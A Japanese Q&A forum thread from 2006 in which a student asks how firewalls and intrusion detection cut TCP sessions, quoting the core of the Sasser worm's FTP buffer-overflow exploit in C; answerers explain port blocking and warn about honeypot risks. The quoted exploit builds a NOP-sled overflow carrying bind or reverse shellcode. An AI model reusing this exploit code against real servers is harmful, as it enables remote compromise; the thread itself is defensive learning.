【大喜利】【投稿~9/7】 ロボットの住む世界で流行ってる罰ゲームとは?

はじめまして.

最近ネットワークの勉強を始めた学生です.

ソケットを使ったTCP通信について質問させてください.

クライアント側はsocket(), connect()でコネクションを確立した後に何回か連続してsend(), recv()を行いたいのに,サーバ側がファイアウォールや侵入検知システムを使って途中で通信を終了するようにしてしまっている場合,クライアント側は再びコネクションを確立させなければ全てのsend()を行うことはできないのでしょうか?

よろしくお願いします.

A 回答 (3件)

質問の条件がいまいちわかりませんが


コネクションが確立し通信が始まっている場合、通信の途中でFWによる通信切断は無いと思います。(タイムアウトや他の通信のエラーを除く)

何らかの理由でセッションが切れた場合はコネクションを作成しなければなりませんが、そもそも何故FWが通信を切断するか調査する方が先でしょう。

ところでこれは現実に起こっている問題ではなく、想定の問題(課題等)でしょうか?

この回答への補足

質問の文がわかりにくくてすみません.

今回質問をさせていただいたのは,Sasser のexploit(下記参照)を見ていて疑問に思うところがあったからです.

私が読んだ限り Sasser は攻撃するために以下の手順(1)~(3)を必要としていると思うのですが,ファイアウォールや侵入検知システムといった割と一般的な防御策ではどのように通信を切断しているのか知りたいのです.(1)の段階で通信するのをやめてしまうのでしょうか.

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Sasser 攻撃手順
(1)まず'USER x'を送り,
(2)次に'PASS x'を送り,
(3)最後にバッファオーバフローを起こす
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%


Sasser Exploit
(www.frsirt.com/exploits/05102004.sasserftpd.c.php より引用)
// -------------------- core

s=socket(2,1,6);

if (connect(s,(struct sockaddr *)&sin,16)!=0) {
if (pid) kill(pid,SIGKILL);
fatal("[-] connect()");
}

printf("[+] connected, sending exploit\n");

buff=(char *)malloc(4096);
bzero(buff,4096);

sprintf(buff,"USER x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
sprintf(buff,"PASS x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);

memset(buff+0000,0x90,2000);
strncpy(buff,"PORT ",5);
strcat(buff,"\x0a");
memcpy(buff+272,jmp[0],2);
memcpy(buff+276,&targets[type].goreg,4);
memcpy(buff+280,jmp[1],5);

setoff(targets[type].gpa, targets[type].lla);

if (bindopt)
memcpy(buff+300,&bsh,strlen(bsh));
else
memcpy(buff+300,&rsh,strlen(rsh));

send(s,buff,strlen(buff),0);

free(buff);

close(s);

// -------------------- end of core

補足日時:2006/01/27 01:42
    • good
    • 0

No2 ency です。



ハニーポットですか。。。
0x90さんは、どのような環境を使おうとしていますか?

まさか、ご自分が現在お使いの環境をそのまま使おうとは思っていませんよね?

ハニーポットは、わざと脆弱性をさらしてウイルスやワームに感染させて、活動に一部始終をチェックするためのものです。
そのため、その後は、その環境自体最悪使い物にならなくなることも考慮する必要があります。

0x90さんに示していただいた URL も見ましたが、以下の一文にお気づきですか?

「■ ご注意 ■」の2項目
| あくまで遊びのレベルで作っています。細かい所は全く実装していませんので、
| 使い方によっては不具合が出る可能性があります。実用に用いるのは自殺行為
| です。現に作者はこの鯖を攻撃する方法をいくつか知っています。

このページの作成者さんも「実用に用いるのは自殺行為」とはっきりおっしゃっています。

もし、どうしても試してみたいというのであれば、参考URL に示したページに「ハニーポットの構築例」という箇所がありますので、そちらをご参考ください。

興味があるのはよくわかりますが、素人が下手に手を出せるものではありません。

以上、ご参考まで。。。

参考URL:http://www.atmarkit.co.jp/fsecurity/special/13ho …
    • good
    • 0
この回答へのお礼

encyさん,ご忠告ありがとうございます.

>まさか、ご自分が現在お使いの環境をそのまま使おうとは思っていませんよね?
不正アクセスと通信を行うにあたっては,大学の研究室に企業からお招きしている
専門家の方がいらっしゃるということなので,その方の指導の下で行います.

なので,よほどのことがない限り外部にご迷惑をおかけすることはありません.ご安心ください.


>興味があるのはよくわかりますが、素人が下手に手を出せるものではありません。
素人といわれないように春休みはネットワークプログラミングなどをしっかり勉強します.

温かく見守ってください.

お礼日時:2006/02/04 14:43

[No1 yakkiidaさんの回答への補足より]


--------------------------------------------------------
今回質問をさせていただいたのは,Sasser のexploit(下記参照)を見ていて疑問に思うところがあったからです.

私が読んだ限り Sasser は攻撃するために以下の手順(1)~(3)を必要としていると思うのですが,ファイアウォールや侵入検知システムといった割と一般的な防御策ではどのように通信を切断しているのか知りたいのです.(1)の段階で通信するのをやめてしまうのでしょうか.

--------------------------------------------------------

sasser については、「ファイアウォールでポート455をブロックしろ」ということが対策として挙げられていただけで、通信中のコネクションを途中でぶった切るというものではなかったはず。
# 当時の記事が ITmedia にありましたので、参考URL に載せておきます。

つまり、「ポート455に対して TCP SYN が飛んできても、TCP SYN/ACK は返さないようにしておけ!」ということです。

TCP SYN/ACK を返してしまった場合、あとはバッファオーバフローによって、好き勝手なコードが実行されてしまう…と、そういうわけです。

言い換えれば「途中で通信を切断する」のではなくて、「そもそも通信させない」ことなんです。

こんなので、回答になっていますか?

参考URL:http://www.itmedia.co.jp/news/articles/0405/03/n …

この回答への補足

回答にはなっていませんが,Sasserの動作は参考URLに載っていた記事でよくわかりました.ありがとうございます.

そもそも通信をさせなければシステムがやられたりしなくていいというのはわかるのですが,私は不正アクセスの解析みたいなことに興味があるので,春休みにはネットワークプログラミングの勉強を兼ねて,自作ハニーポットのようなものを作りたいと考えています.ハニーポットとは不正アクセスと通信をやりとりして,どんな攻撃がきたのか調べるためのものです(たぶん).

なお,ハニーポット作成にあたって,ケロりんさんという方のサンプルを参考にしようかと考えています.

ttp://www.geocities.co.jp/SiliconValley-Cupertino/5128/500_compu/honeypot.html

不正アクセスには,前触れもなく攻撃をはじめるタイプもありますが,システムに深刻な侵害を与える攻撃を行う前に通信を必要とするタイプ(例えばSasser)もあるので,通信を必要とするタイプの攻撃にどう応答すればいいのかということについて勉強中です.

補足日時:2006/01/28 15:25
    • good
    • 0

お探しのQ&Aが見つからない時は、教えて!gooで質問しましょう!


おすすめ情報